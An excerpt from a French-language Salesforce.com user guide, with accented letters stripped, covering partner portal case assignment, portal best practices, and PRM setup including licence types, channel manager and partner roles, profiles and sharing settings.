1. Ajoutez l'onglet Requtes la liste des onglets disponibles dans le portail partenaire.
2. Dans le profil utilisateur partenaire, vrifiez que le paramtre de l'onglet standard requtes est dfini Valeur par
dfaut active.
3. Dans le profil utilisateur partenaire, activez les autorisations d'objet standard Lire, Crer et Modifier pour les requtes.
Aprs avoir activ des requtes dans le portail partenaire, notez les conseils suivants :

Portail partenaire

Guide de l'utilisateur | Activation de requtes dans le Portail partenaire | 1609

Spcifiez un modle de cration de requtes dans Configuration Requtes Paramtres de support afin de permettre
aux utilisateurs partenaires d'envoyer une notification par e-mail aux nouveaux contacts attribus des requtes.
Configurez des rles d'quipe de requtes dans Configuration Personnalisation Requtes Equipes de requtes
Rles d'quipe de requtes afin de permettre aux partenaires d'ajouter des membres d'quipes de requtes.
Lors de l'affichage d'un e-mail associ une requte, les liens Liste des e-mails, Suivant et Prcdent ne sont pas disponibles
pour les utilisateurs du portail.

Voir aussi :
Prsentation du portail partenaire
Prsentation des requtes
Personnalisation des paramtres de support
Dfinition des rles dune quipe de requtes
Prdfinition dquipes de requtes

Attribution de requtes dans le Portail partenaire

Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour attribuer des requtes des partenaires :

Modifier dans les requtes

AND
Transfrer les requtes or transfrer l'enregistrement

Affectation de requtes aux utilisateurs partenaires

Pour attribuer des requtes des utilisateurs du portail partenaire, vous devez d'abord configurer des requtes pour des utilisateurs
du portail. En plus des autorisations utilisateur requises pour cette fonction, vous devez disposer de l'accs en affichage aux
requtes que vous mettez jour.
Pour attribuer des requtes des utilisateurs partenaires :
1. Slectionnez une requte dans l'onglet Requtes ou la liste associe Requtes.
2. Dans la page de dtails de la requte, cliquez sur Modifier en regard du champ Responsable de la requte.
3. Slectionnez Utilisateur partenaire dans la liste droulante Responsable, puis entrez le nom de l'utilisateur partenaire ou
cliquez sur l'icne de recherche ( ) pour rechercher un utilisateur partenaire.
4. Vous pouvez galement cocher la case Envoyer une notification par e-mail pour envoyer un e-mail au nouveau
responsable.
5. Cliquez sur Enregistrer.
L'utilisateur partenaire peut afficher et modifier la requte depuis le portail partenaire.
En outre, vous pouvez crer des rgles d'attribution de requtes et des rgles de hirarchisation qui attribuent automatiquement
des requtes aux utilisateurs partenaires ou aux files d'attente en fonction de certaines proprits de ces requtes.

Portail partenaire

Guide de l'utilisateur | Meilleures pratiques du portail partenaire | 1610

Pour plus d'informations sur la manire dont vos utilisateurs partenaires peuvent crer et modifier des requtes dans le portail
partenaire, tlchargez l'Aide de l'utilisateur du portail partenaire.

Voir aussi :
Prsentation du portail partenaire
Affichage et modification de requtes

Meilleures pratiques du portail partenaire

Disponible dans : Enterprise Edition et Unlimited Edition

Conseils en matire de mise en uvre

Salesforce.com propose deux portails diffrents pour vous aider mieux grer vos partenaires : portail partenaire et le portail
PRM.
-

Si vous avez achet ou activ PRM aprs fvrier 2008, vous utilisez le portail partenaire. Pour plus d'informations sur
le Portail partenaire, reportez-vous Configuration du portail partenaire la page 1571.

Si vous avez achet ou activ PRM avant fvrier 2008, vous utilisez le Portail PRM, moins que vous n'ayez explicitement
migr vers le portail partenaire. Pour plus d'informations sur le portail PRM, reportez-vous Prsentation de la gestion
des relations partenaires la page 1612.

Les utilisateurs du portail ne peuvent se connecter qu'aux portails partenaires attribus leur profil. Pour attribuer un profil
un portail partenaire, slectionnez le nom d'un portail dans la page Configuration du portail partenaire, cliquez sur
Modifier les profils dans la section relative aux profils attribus et cochez la case Actif en regard du profil que vous
souhaitez attribuer au portail.
Un utilisateur du portail peut accder tout le portail partenaire attribu son profil grce un nom d'utilisateur ou un
mot de passe.
Vous pouvez voir le nombre d'utilisateurs associs chaque profil attribu un portail partenaire dans le champ
Utilisateurs de la section relative aux profils attribus.

L'URL de connexion de chaque portail partenaire que vous crez contient un identifiant unique, tel que
portalId=060D00000000Q1F. Cet identificateur se trouve dans la page de dtails du portal. L'identifiant unique
dtermine le portail particulier auquel un utilisateur peut accder. Si un utilisateur a accs une URL de connexion qui ne
prsente aucun identifiant unique, il est automatiquement dirig vers l'URL de connexion du premier portail partenaire
que vous avez cr. Notez que les utilisateurs de portail peuvent se connecter un portail partenaire uniquement l'aide
de la page de connexion au portail, pas via la page de connexion Salesforce.com.
Les paramtres des lments suivants s'appliquent la fois votre entreprise et vos portails partenaires :
-

Vues Listes
Prsentations de recherche
Alertes de workflow

Les meilleures pratiques

Comme vous pouvez personnaliser de manire unique les polices, les couleurs, les modles d'e-mails et le message de
connexion de chaque portail partenaire que vous crez, vous pouvez crer un portail partenaire pour chaque organisation
partenaire prise en charge par votre organisation ou pour des tiers partenaires ou des communauts.

Portail partenaire

Guide de l'utilisateur | Meilleures pratiques du portail partenaire | 1611

Remarque: Les codes JavaScript et CSS sont automatiquement supprims dans les fichiers HTML utiliss comme
messages de connexion au portail.

Vous ne pouvez pas supprimer un portail partenaire, mais vous pouvez empcher les utilisateurs de se connecter un portail
en dslectionnant la case Connexion active.
Vous pouvez crer plusieurs portails partenaires qui affichent diffrents onglets pour des utilisateurs ayant le mme profil,
du moment que le profil a accs tous les objets qui s'affichent dans l'onglet. Pour plus d'informations, reportez-vous
Cration et modification de profils la page 113 et Personnalisation des onglets de votre portail partenaire la page 1592.
Vous pouvez fusionner des comptes dont les contacts sont associs au mme type de portail. Par exemple, vous pouvez
fusionner des comptes dont les contacts sont associs un portail partenaire ou un portail client, mais vous ne pouvez pas
fusionner un compte dont les contacts sont associs un portail partenaire avec un compte dont les contacts sont associs
un portail client.
Vous devez disposer de l'autorisation de profil Grer les utilisateurs pour fusionner des comptes associs des portails.

Lorsque vous activez le portail partenaire, le portail par dfaut est configur comme Connexion active. Dsactivez
ce paramtre et ractivez-le lorsque le portail par dfaut est prt la connexion d'utilisateurs partenaires.
Faites savoir vos utilisateurs partenaires qu'ils peuvent rendre leur responsable de canaux propritaire d'un objet.
Crez une prsentation de page d'accueil pour vos utilisateurs partenaires avec des liens personnaliss vers les fonctions les
plus utilises.
Personnalisez les liens personnaliss du composant de page d'accueil pour inclure des liens que vos utilisateurs partenaires
peuvent utiliser, ou supprimez-le de la prsentation de page d'accueil.
Les utilisateurs partenaires ne peuvent pas configurer de rappels pour des tches. Crez un processus pour les aider grer
leurs tches sans rappel.
Si vous faites migrer des utilisateurs partenaires du portail PRM au portail partenaire, ceux-ci peuvent se connecter aux
deux portails des fins de test. Pour permettre des utilisateurs partenaires de se connecter aux deux portails :
1. Dans le profil de l'utilisateur partenaire, assurez-vous que l'autorisation Utilisateur API uniquement est dsactive.
2. Attribuez ce profil au premier portail partenaire sur la page Paramtres des partenaires.

PRM
Prsentation de la gestion des relations partenaires
Disponible avec : Enterprise Edition et Unlimited Edition

La gestion des relations partenaires (PRM) permet aux socits qui vendent leurs produits ou services par l'intermdiaire de
canaux de distribution indirects d'obtenir un retour maximal sur leurs investissements et d'augmenter les chiffres d'affaires de
leurs canaux. Avec la gestion des relations partenaires, elles peuvent grer, suivre et prvoir les activits de leurs canaux et leurs
ventes directes en parallle. Les partenaires vendent galement de manire plus efficace, concluent davantage d'affaires et
augmentent leurs marges.
Permettre vos partenaires d'exploiter vos donnes Salesforce.com peut vous aider optimiser vos ventes, sans frais
supplmentaires. Il est toutefois prfrable que vous contrliez l'accs de vos partenaires vos informations et qu'ils travaillent
dans une application conforme votre stratgie de marque. Pour cela, accordez vos partenaires l'accs un portail partenaire
Salesforce.com.
Un portail permet aux utilisateurs partenaires de se connecter Salesforce.com partir d'un site Web diffrent que les utilisateurs
non partenaires. Les utilisateurs partenaires peuvent seulement consulter les donnes mises leur disposition uniquement. Par
ailleurs, les utilisateurs partenaires ne peuvent manipuler ces donnes que si vous leur accordez les autorisations utilisateur
appropries.
Salesforce.com propose les fonctionnalits critiques suivantes pour grer les relations partenaires :
Comptes partenaires
Les comptes partenaires sont des comptes qu'un responsable de canaux utilise pour grer les entreprises partenaires, les
utilisateurs partenaires et les activits.
Utilisateurs partenaires
Les utilisateurs partenaires sont des utilisateurs de Salesforce.com dots de capacits limites. Ils sont associs un compte
partenaire particulier, ont un accs limit aux donnes de votre entreprise et se connectent via un portail partenaire.
Il existe trois types de licence disponibles pour les utilisateurs partenaires : Partenaire bronze (de base), partenaire argent
(standard) et partenaire or (stratgique). Le type de licence dtermine le volume de stockage supplmentaire de l'entreprise
par licence, de mme que les fonctionnalits auxquelles l'utilisateur partenaire a accs sur le portail.
Important: La licence Partenaire bronze ne sera pas disponible l'achat aprs juillet 2008. Les licences Partenaire
bronze qui ont t achet avant juillet 2008 sont toujours prises en charge.

Type de licence Partenaire Type de licence Partenaire Type de licence Partenaire

bronze (nouvelles licences argent
or
non disponibles aprs
juillet 2008)
Volume de stockage par
licence

Aucune

2 Mo de stockage de
donnes par utilisateur

5 Mo de stockage de
donnes par utilisateur

Documents

Oui

Oui

Oui

PRM

Guide de l'utilisateur | Prsentation de la gestion des relations partenaires | 1613

Type de licence Partenaire Type de licence Partenaire Type de licence Partenaire

bronze (nouvelles licences argent
or
non disponibles aprs
juillet 2008)
Profil Mon compte

Oui

Oui

Oui

Piste

Non

Oui

Oui

Objets personnaliss

Non

Oui

Oui

Approbations

Non

Oui

Oui

Compte

Non

Non

Oui

Opportunits

Non

Non

Oui

Salesforce CRM Content

(lecture seule)

Non

Oui

Oui

Rapports

Non

Oui (lecture seule)

Oui

Administration dlgue des Non

utilisateurs de portail

Non

Oui

Envoyer par e-mail

Non

Oui

Oui

Requtes

Non

Non

Oui

Certains utilisateurs de votre entreprise ont peut-tre une licence Partenaire qui n'est plus disponible auprs de
salesforce.com. La licence Partenaire possde toutes les fonctionnalits du type de licence Partenaire Gold, mais comprend
une capacit de stockage par utilisateur de 4 Mo pour les donnes et 4 Mo pour les fichiers. Pour plus d'informations
sur les limites de stockage, reportez-vous Surveillance des ressources la page 218. Pour plus d'informations sur les
types de licence utilisateur, reportez-vous Affichage des types de licence utilisateur la page 150.
Responsables de canaux
Les responsables de canaux sont des utilisateurs internes chargs de grer les relations partenaires.
Portails partenaires
Les portails partenaires permettent aux utilisateurs partenaires de se connecter Salesforce.com par l'intermdiaire d'un
portail Web plutt que par salesforce.com. Vous pouvez personnaliser le portail Web afin d'afficher votre marque et le
configurer en fonction de vos besoins en matire de fonctionnalit et de scurit, notamment en activant la connexion
unique pour les portails et permettre ainsi vos partenaires d'utiliser un seul identifiant pour accder Salesforce.com.
Vous pouvez galement mettre en uvre plusieurs portails pour rpondre aux diffrents impratifs qu'implique la
collaboration avec des partenaires.
Remarque: La connexion unique est disponible uniquement pour les portails clients et les portails partenaires.

Pour tirer le meilleur parti du PRM, procdez comme suit :

1. Contactez salesforce.com pour acheter des licences partenaires.
2. Installez la sous-application du portail PRM.

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Guide de l'utilisateur | Configuration du PRM | 1614

3. Configurez Salesforce.com pour PRM.

4. Dfinissez vos utilisateurs partenaires et vos responsables de canaux.
5. Personnalisez les portails PRM.
ATTENTION: Avant d'installer la sous-application du portail PRM :

Vrifiez que votre entreprise na pas activ le paramtre Refuser les pices jointes et les documents
HTML accessible partir de Configuration Contrles de scurit Paramtres des pices jointes et des
documents HTML. Ce paramtre interdit aux utilisateurs de tlcharger un fichier HTML vers l'onglet Documents
ou en tant que pice jointe vers un enregistrement.
Vrifiez que votre entreprise na pas activ l'option Verrouiller les sessions sur l'adresse IP
partir de laquelle elles ont t ouvertes. Si elle est active, cette option vous empche de configurer
le portail.

Voir aussi :
Gestion des portails PRM
FAQ sur le support client

Configuration du PRM
Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour configurer la sous-application PRM :

Personnaliser l'application

Remarque:
Si vous avez achet ou activ PRM aprs fvrier 2008, vous utilisez le portail partenaire. Pour plus d'informations sur
le Portail partenaire, reportez-vous Configuration du portail partenaire la page 1571.
Une fois que vous avez install la sous-application PRM, vous devez activer la gestion des relations partenaires.
Pour activer la gestion des relations partenaires :
1.
2.
3.
4.

Cliquez sur Configuration Personnalisation Partenaires Paramtres.

Cliquez sur Modifier.
Slectionnez Activer la gestion des relations partenaires.
Cliquez sur Enregistrer.
Remarque: La gestion des relations partenaires ne peut pas tre dsactive. Si vous n'avez plus besoin de cette
fonctionnalit, dsactivez vos utilisateurs partenaires.

PRM

Guide de l'utilisateur | Configuration du PRM | 1615

Une fois la gestion des relations partenaires active, vous devez configurer la faon dont vous communiquerez les informations
sur les utilisateurs vos partenaires. Cela exige le paramtrage de l'adresse e-mail pour ces communications et la dfinition
des modles d'e-mail pour les nouveaux utilisateurs partenaires et ceux demandant une rinitialisation de leur mot de passe.
Pour configurer les modles de communication PRM :
1. Cliquez sur Configuration Personnalisation Partenaires Paramtres.
2. Cliquez sur Portail PRM pour afficher les paramtres en cours ou sur Modifier pour les modifier.
3. Configurez les options suivantes :
Paramtre

Description

Adresse e-mail De

L'adresse e-mail partir de laquelle toutes les

communications par e-mail sont envoyes, par exemple,
partenaires@societe.com . Salesforce.com envoie
automatiquement les e-mails, mais ces derniers s'affichent,
pour l'utilisateur partenaire, comme ayant t envoys partir
de cette adresse e-mail. Si un utilisateur partenaire rpond
l'e-mail, la rponse lui est envoye cette adresse.

Nom e-mail "De"

Nom qui sera associ au champ Adresse e-mail De ,

par exemple : Programme partenaire Acme .

Modle de nouvel utilisateur

Modle d'e-mail servant indiquer aux nouveaux utilisateurs

partenaires leur compte et leur mot de passe initial.

Modle de nouveau mot de passe

Modle d'e-mail servant indiquer aux utilisateurs

partenaires leur mot de passe temporaire en cas de
rinitialisation de leur mot de passe par un responsable de
canaux ou un administrateur systme.

Modle de mot de passe perdu

Modle d'e-mail servant indiquer aux utilisateurs

partenaires leur mot de passe temporaire en cas de demande
de rinitialisation de leur mot de passe.

Remplacer le responsable par le modle des Modle d'e-mail permettant d'envoyer une notification aux
utilisateurs du portail
utilisateurs partenaires lorsqu'ils deviennent les nouveaux

responsables d'un enregistrement du portail.

4. Cliquez sur Enregistrer.

Les exemples de modle de communication, l'exception de Remplacer le responsable par le modle des utilisateurs du portail,
sont disponibles et utiliss par dfaut. Vous devez crer des modles personnaliss utilisant la marque de votre entreprise et
l'URL du portail Partenaires.

Voir aussi :
Gestion des modles de message

PRM

Guide de l'utilisateur | Configuration du PRM | 1616

propos de la gestion des utilisateurs PRM

Disponible avec : Enterprise Edition et Unlimited Edition

Les utilisateurs PRM peuvent tre de deux types : responsables de canaux et utilisateurs partenaires.
Les responsables de canaux sont des utilisateurs internes chargs de grer les relations partenaires. Avant d'activer un portail,
vous devez personnaliser les profils des responsables de canaux de sorte que ces responsables soient en mesure de grer les
partenaires.
Les utilisateurs partenaires n'appartiennent pas votre entreprise, mais vendent vos produits ou services par l'intermdiaire de
canaux de distribution indirects. Vos utilisateurs partenaires utilisent le portail pour se connecter Salesforce.com. Une fois
connects, ils accdent toutes les informations que vous mettez leur disposition. Vous devez prendre les mesures qui
s'imposent pour protger les informations confidentielles ou internes de votre entreprise.

Voir aussi :
propos de la gestion des utilisateurs responsables de canaux PRM
propos de la gestion des utilisateurs partenaires PRM
Modification des utilisateurs

propos de la gestion des utilisateurs responsables de canaux PRM

Disponible avec : Enterprise Edition et Unlimited Edition

Les responsables de canaux sont des utilisateurs internes chargs de grer les relations partenaires. Avant d'activer un portail
partenaire, vous devez personnaliser les profils des responsables de canaux de sorte que ces responsables soient en mesure de
grer les partenaires.
Deux lments sont proposs pour la configuration des responsables de canaux : les profils et les rles.
Rles du responsable de canaux
La hirarchie des rles au sein de votre entreprise dtermine le type de donnes auxquelles vos utilisateurs peuvent accder.
Les utilisateurs peuvent toujours visualiser et modifier les dossiers en leur possession. De plus, les utilisateurs peuvent afficher,
modifier et gnrer des rapports sur les donnes dtenues ou partages par des utilisateurs en aval. Les rles des responsables
de canaux sont toujours directement suprieurs aux rles des utilisateurs partenaires dans la hirarchie. Ils ont donc accs aux
donnes appartenant aux partenaires dont ils assurent la gestion. Lorsque des utilisateurs partenaires sont crs dans un compte
partenaire, Salesforce.com place automatiquement le rle de l'utilisateur partenaire un niveau infrieur celui du responsable
de canaux qui contrle ce compte. Pour vous aider crer des responsables de canaux et des utilisateurs partenaires, crez une
structure contenant des rles de responsables de canaux logiques.
Profils du responsable de canaux
Les profils indiquent les autorisations dont disposent les utilisateurs, les prsentations de page, les onglets et les types
d'enregistrement qui sont leur disposition, ainsi que d'autres paramtres. Crez un profil unique et envisagez les paramtres
en fonction des besoins des responsables de canaux. Inspirez-vous des conseils suivants lors de la cration de ce profil :

PRM

Guide de l'utilisateur | Configuration du PRM | 1617

Autorisez aux responsables de canaux l'accs aux onglets suivants :

Pistes, Comptes, Contacts, Opportunits, Documents et Produits. Si vous souhaitez utiliser des solutions ou des objets
personnaliss, rendez-les accessibles vos responsables de canaux.
Attribution de types d'enregistrement
Attribuez les types d'enregistrement de piste adquats aux profils de vos responsables de canaux. Pour plus d'informations
sur l'utilisation des types d'enregistrement relatifs aux processus impliquant les partenaires commerciaux, reportez-vous
Mise en uvre de l'enregistrement de l'affaire PRM la page 1650.
Affectation de prsentations de page
Affectez les prsentations de page adquates aux profils de vos responsables de canaux. Vrifiez que les boutons Activer
la connexion au portail Partenaires et Afficher l'utilisateur du portail Partenaires sont inclus dans la prsentation de
page du contact pour vos responsables de canaux.
Activation de l'autorisation de gestion des partenaires
Lorsqu'ils disposent de cette autorisation, les responsables de canaux peuvent activer de nouveaux comptes partenaires
et de nouveaux utilisateurs partenaires.
Faites en sorte que les responsables de canaux aient accs au champ Compte partenaire pour les pistes, les comptes
et les opportunits.
Les responsables de canaux pourront ainsi crer des vues de liste ou des rapports permettant d'assurer le suivi des activits
des partenaires.
Faites en sorte que les responsables de canaux aient accs au champ Date du dernier transfert pour les pistes.
Les responsables de canaux pourront ainsi crer des vues de liste ou des rapports permettant d'assurer le suivi des activits
des partenaires.
Conseils supplmentaires

Cration d'un groupe public pour les responsables de canaux. Vous pouvez utiliser ce groupe pour filtrer et contrler l'accs
aux documents. Pour plus d'informations, reportez-vous Cration et modification de groupes la page 136.
Cration d'une file d'attente de piste pour les responsables de canaux. Vous pouvez utiliser cette file d'attente pour les rgles
d'affectation des pistes. Pour plus d'informations, reportez-vous Configuration de files d'attente la page 140.

Voir aussi :
propos de la gestion des utilisateurs partenaires PRM
Gestion des profils
Gestion des rles

propos de la gestion des utilisateurs partenaires PRM

Disponible avec : Enterprise Edition et Unlimited Edition

Les utilisateurs partenaires n'appartiennent pas votre entreprise, mais vendent vos produits ou services par l'intermdiaire de
canaux de distribution indirects. Vos utilisateurs partenaires peuvent utiliser le portail PRM pour se connecter Salesforce.com.
Une fois connects, ils accdent toutes les informations que vous mettez leur disposition. Vous devez prendre les mesures
qui s'imposent pour protger les informations confidentielles ou internes de votre entreprise.

PRM

Guide de l'utilisateur | Configuration du PRM | 1618

Comptes et utilisateurs partenaires

Tout utilisateur autoris grer des partenaires peut crer des comptes et des utilisateurs partenaires. Reportez-vous Cration
de comptes partenaires et Cration d'utilisateurs partenaires.
Rles des utilisateurs partenaires
La hirarchie des rles au sein de votre entreprise dtermine le type de donnes auxquelles vos utilisateurs peuvent accder.
Les utilisateurs peuvent toujours visualiser et modifier les dossiers en leur possession. En outre, les utilisateurs peuvent toujours
visualiser, modifier et gnrer des rapports concernant les donnes dtenues ou partages par les utilisateurs ayant des rles
qui leur sont rattachs dans la hirarchie de l'entreprise.Lorsque des utilisateurs partenaires sont crs sur un compte partenaire,
Salesforce.com place automatiquement le rle des utilisateurs partenaires en dessous du rle du responsable de canaux qui gre
ce compte partenaire. Les utilisateurs partenaires peuvent se voir attribuer l'un des trois rles suivants : Cadre partenaire,
Responsable partenaire ou Utilisateur partenaire. Dans la hirarchie des rles, le rle de cadre partenaire est directement
rattach au rle de responsable de canaux. Le rle de responsable partenaire est directement rattach au rle de cadre partenaire.
Le rle d'utilisateur partenaire est directement rattach au rle de responsable partenaire. Chaque rle comprend dans son
nom le nom du compte partenaire. titre d'exemple, si le nom du compte partenaire est Acme, les trois rles sont Cadre
partenaire Acme, Responsable partenaire Acme et Utilisateur partenaire Acme. Si la responsabilit d'un compte partenaire est
change au profit d'un autre responsable de canaux, le rle d'utilisateur partenaire est transfr cet emplacement dans la
hirarchie des rles.
Remarque: Les utilisateurs partenaires, quel que soit le niveau de leur rle, peuvent toujours accder toutes les
donnes dtenues ou partages par les utilisateurs ayant des rles qui leur sont rattachs dans la hirarchie, pour les
afficher et les modifier, quel que soit le modle de partage de votre entreprise. Utilisez les rapports administratifs pour
la gestion des rles partenaires.
Tous les utilisateurs d'un rle d'utilisateur partenaire peuvent accder en lecture leur compte partenaire associ. Les utilisateurs
partenaires peuvent voir les opportunits dont ils sont responsables, les opportunits dont leurs subordonns sont responsables
et les opportunits partages avec eux. Les utilisateurs partenaires ont accs en lecture/criture aux tches associes n'importe
quel objet auquel ils peuvent avoir accs. Ils ont galement accs en lecture aux vnements associs n'importe quel objet
auquel ils peuvent accder.
Profils des utilisateurs partenaires
Les profils reprsentent un moyen incontournable de grer les fonctionnalits et les informations mises la disposition de vos
partenaires.
Des profils de partenaires plusieurs niveaux peuvent s'avrer ncessaires pour soutenir votre stratgie de march et votre
structure de canaux. Vous pouvez avoir des partenaires Gold, Silver et Bronze, et chaque segment de partenaire peut disposer
d'un portail personnalis dot de diverses fonctions. Les profils vous permettent de contrler les portails, ainsi que les types
d'informations auxquels un utilisateur partenaire peut avoir accs.
Important: La licence Partenaire bronze ne sera pas disponible l'achat aprs juillet 2008. Les licences Partenaire
bronze qui ont t achet avant juillet 2008 sont toujours prises en charge.
Servez-vous de ces conseils lorsque vous crez et personnalisez des profils partenaires :

Tous les profils de partenaires doivent tre clons partir du profil des utilisateurs partenaires.
Attribuez tous les profils de partenaire un nom qui permette de faciliter leur identification, comme Partenaire Gold
pour les partenaires Gold.
Dfinissez comme Onglets cachs les onglets auxquels vous ne souhaitez pas que les partenaires accdent. Un portail PRM
standard permet aux partenaires d'accder aux onglets Accueil, Opportunits, Pistes et Documents, mais vous pouvez
galement leur donner accs l'onglet Solutions et aux objets personnaliss.
Les utilisateurs partenaires devraient normalement pouvoir convertir et transfrer les pistes. Si vous prfrez, vous pouvez
avoir recours un processus d'approbation ou d'autres mthodes. Dfinissez l'autorisation Convertir les pistes pour

PRM

Guide de l'utilisateur | Configuration du PRM | 1619

l'adapter votre processus d'entreprise. Pour plus d'informations sur les conversions de piste et PRM, reportez-vous
Activation de la conversion des pistes pour les utilisateurs partenaires la page 1622. Pour plus d'informations sur les processus
d'approbation et PRM, reportez-vous Utilisation des processus d'approbation avec les utilisateurs partenaires la page
1624.
Si votre entreprise utilise un compte personnel, assurez-vous que vos profils utilisateur partenaire ont accs tous les types
d'enregistrement de compte personnel et de compte professionnel appropris.
Dfinissez les autorisations d'objet pour qu'ils puissent fonctionner avec les processus de votre entreprise. titre d'exemple,
si vous souhaitez que vos partenaires puissent visualiser des documents, mais sans pouvoir les modifier, activez l'autorisation
Lire sur les documents, mais dsactivez l'autorisation Crer, Modifier ou Supprimer des documents. N'autorisez pas les
utilisateurs partenaires supprimer des objets. Voici la liste standard des autorisations concernant les objets :
Objet

Droits d'accs

Documents

Lire

Catalogues de prix

Lire

Opportunits

Lire, Crer et Modifier

Produits

Lire

Compte

Lire, Crer et Modifier

Piste

Lire, Crer et Modifier

Solutions

Lire

Contacts

Lire, Crer et Modifier

Campagnes

Aucune autorisation

Remarque: Tous les profils de partenaire doivent au moins permettre la fonction Lire sur les pistes, les comptes
et les contacts.

Onglets et prsentations des pages du portail PRM

Le profil des utilisateurs partenaires comprend par dfaut des prsentations de page pour l'ensemble des objets suivants :
comptes, actifs, campagnes, requtes, contacts, contrats, vnements, pistes, opportunits, produits d'opportunit, produits,
solutions et tches. Les utilisateurs partenaires peuvent nanmoins visualiser les onglets suivants dans le portail PRM :

Documents
Piste
Opportunits
Solutions
Accueil
Objets personnaliss
Produits de l'opportunit
Compte
Contacts
Remarque: Pour empcher les utilisateurs partenaires de changer le responsable d'un objet, dfinissez le champ
Responsable figurant sur la prsentation de page sur Lecture seule.

PRM

Guide de l'utilisateur | Configuration du PRM | 1620

Partage de pistes
En ce qui concerne le contrle de l'accs aux pistes, le portail PRM ne sera efficace que si vous dfinissez le partage des pistes
l'chelle de l'entreprise sur Priv. Pour plus d'informations sur le partage des pistes, reportez-vous Gestion des paramtres
de partage la page 161.
Opportunits
En ce qui concerne le contrle de l'accs aux opportunits, le portail PRM ne sera efficace que si vous dfinissez le partage des
opportunits l'chelle de l'entreprise sur Priv. Pour plus d'informations sur le partage des opportunits, reportez-vous
Gestion des paramtres de partage la page 161.
Par dfaut, les utilisateurs partenaires ne peuvent crer des opportunits qu'en convertissant une piste. Pour plus d'informations
sur la manire d'autoriser les utilisateurs partenaires crer directement des opportunits, reportez-vous Configuration de
l'onglet Opportunits du portail PRM la page 1639.
Remarque: Le champ Nom du compte des opportunits ne doit pas tre dfini sur Lecture seule si vous souhaitez
que les utilisateurs partenaires puissent crer ou modifier des opportunits.

Produits de l'opportunit
Les utilisateurs partenaires peuvent afficher, modifier et ajouter des produits associs aux opportunits l'aide de la liste associe
Produits. Si vous ne souhaitez pas que les utilisateurs partenaires accdent la liste associe des produits sur les opportunits,
supprimez-la de la prsentation de la page d'opportunit pour les profils de vos partenaires.
Par dfaut, les produits des opportunits sont disponibles en lecture seule pour les utilisateurs partenaires. Pour plus
d'informations sur la manire d'autoriser les utilisateurs partenaires modifier les produits des opportunits, reportez-vous
Configuration de l'onglet Opportunits du portail PRM la page 1639.
Les utilisateurs partenaires ont besoin des autorisations suivantes pour pouvoir modifier les produits d'une opportunit :

Autorisation de lecture sur les catalogues de prix

Autorisation de lecture sur les produits
Autorisation de modification sur les opportunits

En outre, le champ Produit : gamme des produits doit tre visible par les utilisateurs partenaires.
ATTENTION: Le champ Prix total des produits de l'opportunit doit tre dfini sur Lecture seule pour que
les utilisateurs partenaires puissent crer ou modifier ces produits.
Vous pouvez contrler les produits auxquels les utilisateurs partenaires ont accs en grant votre modle de partage des catalogues
de prix. Par dfaut, tous les catalogues de prix sont entirement partags. Tous les utilisateurs peuvent se servir des catalogues
de prix. Pour contrler le partage des catalogues de prix, redfinissez la valeur par dfaut sur Affichage uniquement ou
Aucun accs, puis configurez le modle de partage de catalogues de prix spcifiques. Pour plus d'informations sur le partage
des catalogues de prix, reportez-vous Partage des catalogues de prix la page 1671.
La prsentation de page dont les utilisateurs partenaires se servent pour ajouter des partenaires est divise en deux volets. Le
volet situ dans la partie suprieure rpertorie les produits en fonction des critres de slection et de recherche slectionns par
l'utilisateur partenaire. Le volet situ dans la partie infrieure rpertorie les produits qui ont t ajouts l'opportunit. La
prsentation du volet suprieur est contrle par la prsentation de recherche Rsultats de recherche de produits. La prsentation
du volet infrieur est contrle par la prsentation de page des produits de l'opportunit.
ATTENTION: Si vous dsactivez les planifications de produit pour l'ensemble de votre entreprise, vous devez
modifier chaque profil partenaire. Aucun changement n'est requis, mais vous devez modifier et enregistrer le profil
afin d'viter toute erreur dans le portail Partenaires.

PRM

Guide de l'utilisateur | Configuration du PRM | 1621

Partage de comptes
En ce qui concerne le contrle de l'accs aux comptes, le portail PRM ne sera efficace que si vous dfinissez le partage des
comptes l'chelle de l'entreprise sur Priv. Pour plus d'informations sur le partage de compte, reportez-vous Gestion des
paramtres de partage.
Partage des contacts
En ce qui concerne le contrle de l'accs aux contacts, le portail PRM ne sera efficace que si vous dfinissez le partage des
contacts l'chelle de l'entreprise sur Priv ou contrl par le parent. Pour plus d'informations sur le partage des contacts,
reportez-vous Gestion des paramtres de partage la page 161.
Autres meilleures pratiques

Utilisez le groupe Tous les utilisateurs partenaires pour filtrer et contrler l'accs aux documents. Pour un contrle plus
modulaire, vous pouvez galement crer un groupe pour chaque entreprise partenaire. Pour plus d'informations, reportez-vous
Cration et modification de groupes.
Crez une file d'attente de piste pour chaque entreprise partenaire et ajoutez l'ensemble des utilisateurs partenaires de cette
entreprise la file d'attente. Vous pouvez crer une file d'attente comprenant tous les utilisateurs partenaires dans un rle
spcifique. Cela vous permet d'attribuer des pistes une entreprise partenaire plutt qu' un utilisateur partenaire spcifique.
Pour plus d'informations, reportez-vous Configuration de files d'attente.
Crez une file d'attente pour tous les utilisateurs partenaires. Cela vous permet de mettre une piste disposition de n'importe
quel utilisateur partenaire. Si vous crez une file d'attente avec des subordonns et des rles de responsable de canaux, les
utilisateurs partenaires rattachs directement au responsable de canaux ne peuvent pas voir la file d'attente, mais les utilisateurs
non-partenaires peuvent voir et utiliser la file d'attente.
Utilisez des notes et des pices jointes sur les pistes et les opportunits pour permettre aux partenaires d'ajouter des notes
concernant la piste ou l'opportunit.
Crez des vues de liste personnalises l'attention des utilisateurs partenaires. Ces listes personnalises peuvent tre ajoutes
aux prsentations de la page des utilisateurs partenaires ou en tant que statistique dans le menu latral de la page d'accueil.
Remarque: Si votre entreprise a recours des services pour segmenter les donnes, vitez d'inclure dans les critres
de filtre le champ Service dans les vues de liste destines aux utilisateurs partenaires. Les critres de filtre bass
sur les services sont ignors dans le portail de partenaires.

Les utilisateurs partenaires peuvent uniquement visualiser les solutions publiques ; ils ne peuvent ni mettre jour les
solutions, ni visualiser les solutions prives.

Voir aussi :
propos de la gestion des utilisateurs responsables de canaux PRM
Gestion des profils
Gestion des rles

PRM

Guide de l'utilisateur | Configuration du PRM | 1622

Activation de la conversion des pistes pour les utilisateurs partenaires

Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour crer, modifier ou supprimer des profils :

Grer les utilisateurs

Pour configurer la sous-application PRM :

Personnaliser l'application

Vous pouvez permettre vos utilisateurs partenaires de convertir des pistes. La conversion des pistes par les partenaires est
semblable au processus de conversion des pistes standard ralis par les autres utilisateurs.
